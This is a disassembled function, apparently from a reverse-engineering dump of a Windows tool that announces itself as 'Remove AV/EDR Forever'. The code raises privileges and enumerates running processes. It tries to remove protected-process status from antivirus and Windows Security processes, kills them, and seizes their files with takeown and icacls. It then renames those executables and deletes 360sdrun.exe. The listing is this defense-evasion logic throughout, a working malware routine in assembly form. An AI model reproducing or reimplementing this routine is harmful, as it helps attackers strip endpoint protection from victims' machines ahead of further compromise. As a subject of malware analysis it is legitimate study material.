Function at 0x140004980
Capabilities:
Check if file exists
Delete file
Enumerate processes
Get common file path
Get file attributes
Get program files directory
Move file
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x8f0]
sub rsp, 0x9f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x8d0], rax
lea rcx, str._n_____________________________________________________n
mov qword [rsp + 0x9e8], r14
call fcn.140005730
lea rcx, str.Remove_AV_EDR_Forever:__n_____________________________________________________n_n
call fcn.140005730
lea rcx, [0x140023a90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea r9, [rbp + 0x178]
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call rax
test eax, eax
jns 0x140004a04
mov edx, eax
lea rcx, str.RemoveAVForever:_RtlAdjustPrivilege_failed__lx_._n
call fcn.140005730
call fcn.140004670
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140004f06
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140004efd
mov qword [rsp + 0xa00], rbx
mov qword [rsp + 0xa18], r12
xor r12d, r12d
mov qword [rsp + 0x9e0], r15
lea r15, str.360qbus.exe
mov qword [rsp + 0xa08], rsi
mov qword [rsp + 0xa10], rdi
xor edx, edx
lea rcx, [rbp + 0x180]
mov r8d, 0x104
call fcn.140006980
mov r8d, 0x104
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x180]
call fcn.14000c940
mov rax, qword [str.360qbus.exe]
mov rbx, r12
test rax, rax
je 0x140004ebf
nop
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.14000c1d0
test eax, eax
je 0x140004ad5
mov rax, qword [r15 + rbx*8 + 8]
inc rbx
test rax, rax
jne 0x140004ab0
jmp 0x140004ebf
mov r8d, dword [rsp + 0x38]
lea rsi, str.NOPPL
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140004b72
mov r9d, 1
mov byte [rbp + 0x170], r12b
lea r8, [rbp + 0x170]
mov qword [rsp + 0x20], r12
mov rcx, rax
lea edx, [r9 + 0x3c]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140004b72
test byte [rbp + 0x170], 7
je 0x140004b72
cmp dword [0x140029d7c], 0xa
lea rsi, str.PP_PPL
jae 0x140004b52
lea rcx, str._WARN__The_Major_version___10_and_does_not_support_removal_of_process_PP_PPL._n
call fcn.140005730
jmp 0x140004b72
mov ecx, dword [rsp + 0x38]
call fcn.140004020
test eax, eax
jne 0x140004b72
lea rdx, [rbp + 0x180]
lea rcx, str._ss_PPL_Remove_Faild._n
call fcn.140005730
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140004ea3
xor edx, edx
lea rcx, [rbp + 0x290]
mov r8d, 0x104
call fcn.140006980
xor edx, edx
lea rcx, [rbp + 0x5c0]
mov r8d, 0x104
call fcn.140006980
lea r9, [rbp + 0x174]
mov dword [rbp + 0x174], 0x104
lea r8, [rbp + 0x290]
xor edx, edx
mov rcx, rbx
mov edi, r12d
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameA]
test eax, eax
je 0x140004cb8
lea r9, [rbp + 0x290]
mov edx, 0x104
lea r8, str._s_RBE
lea rcx, [rbp + 0x5c0]
call fcn.140005670
lea rdx, str.SecurityHealthSystray.exe
lea rcx, [rbp + 0x180]
call fcn.14000c1d0
test eax, eax
je 0x140004c33
lea rdx, str.SecurityHealthService.exe
lea rcx, [rbp + 0x180]
call fcn.14000c1d0
test eax, eax
jne 0x140004cb1
xor edx, edx
lea rcx, [rbp + 0x4b0]
mov r8d, 0x104
call fcn.140006980
lea r9, [rbp + 0x290]
mov edx, 0x104
lea r8, str.takeown__F___s_
lea rcx, [rbp + 0x4b0]
call fcn.140005670
lea rcx, [rbp + 0x4b0]
call fcn.140004230
xor edx, edx
lea rcx, [rbp + 0x6d0]
mov r8d, 0x104
call fcn.140006980
lea r9, [rbp + 0x290]
mov edx, 0x104
lea r8, str.icacls___s___grant_Everyone:_F_
lea rcx, [rbp + 0x6d0]
call fcn.140005670
lea rcx, [rbp + 0x6d0]
call fcn.140004230
mov edi, 1
jmp 0x140004cd7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8, rsi
lea rdx, [rbp + 0x180]
mov r9d, eax
lea rcx, str.Failed_to_get__s__s__full_path__error__lu_n
call fcn.140005730
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140004dfb
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x140004dce
mov r8, rsi
lea rdx, [rbp + 0x180]
lea rcx, str._Success__Killed__s__s_._n
call fcn.140005730
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x140004ebf
lea rcx, [rbp + 0x290]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp byte [rcx + rax + 1], r12b
lea rax, [rax + 1]
jne 0x140004d50
cmp byte [rbp + rax + 0x28d], 0x65
jne 0x140004ebf
cmp byte [rbp + rax + 0x28e], 0x78
jne 0x140004ebf
cmp byte [rbp + rax + 0x28f], 0x65
jne 0x140004ebf
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
je 0x140004db5
lea rdx, [rbp + 0x5c0]
lea rcx, str.Renamed_to__s_n
call fcn.140005730
jmp 0x140004ebf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Rename_failed__error__lu_n
call fcn.140005730
jmp 0x140004ebf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8, rsi
lea rdx, [rbp + 0x180]
mov r9d, eax
lea rcx, str.Failed_to_terminate__s__s___error__lu_n
call fcn.140005730
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140004ebf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x180]
lea rcx, str.Failed_to_open__s__error__lu__Try_to_use_taskkill__please_manually_check_whether_the_kill_rename_is_successful__n
call fcn.140005730
xor edx, edx
lea rcx, [rbp + 0x4b0]
mov r8d, 0x104
call fcn.140006980
lea r9, [rbp + 0x180]
mov edx, 0x104
lea r8, str.taskkill__f__im__s
lea rcx, [rbp + 0x4b0]
call fcn.140005670
lea rcx, [rbp + 0x4b0]
call fcn.140004230
xor edx, edx
lea rcx, [rbp + 0x6d0]
mov r8d, 0x200
call fcn.140006980
lea rax, [rbp + 0x5c0]
mov edx, 0x200
lea r9, [rbp + 0x290]
mov qword [rsp + 0x20], rax
lea r8, str.move__Y___s____s_
lea rcx, [rbp + 0x6d0]
call fcn.140005670
lea rcx, [rbp + 0x6d0]
call fcn.140004230
jmp 0x140004ebf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x180]
lea rcx, str.Failed_to_open__s_with_LIMITED_QUERY__error__lu_Please_perform_manual_kill_AV_and_rename_AV_files__n
call fcn.140005730
lea rdx, [rsp + 0x30]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140004a71
mov r15, qword [rsp + 0x9e0]
mov r12, qword [rsp + 0xa18]
mov rdi, qword [rsp + 0xa10]
mov rsi, qword [rsp + 0xa08]
mov rbx, qword [rsp + 0xa00]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
lea rax, [rbp + 0x3a0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x2a]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov r14, qword [rsp + 0x9e8]
test eax, eax
js 0x140004f77
lea r8, str.360360sd360sdrun.exe
mov edx, 0x104
lea rcx, [rbp + 0x3a0]
call fcn.14000cdf0
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140004f77
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x140004f77
lea rcx, str._Success__File_360sdrun.exe_deleted_successfully._n
call fcn.140005730
xor r9d, r9d
lea rax, [rbp + 0x3a0]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x26]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x140004fe0
lea r8, str.360360sd360sdrun.exe
mov edx, 0x104
lea rcx, [rbp + 0x3a0]
call fcn.14000cdf0
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140004fe0
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x140004fe0
lea rcx, str._Success__File_360sdrun.exe_deleted_successfully._n
call fcn.140005730
mov rcx, qword [rbp + 0x8d0]
xor rcx, rsp
call fcn.1400057b0
add rsp, 0x9f0
pop rbp
ret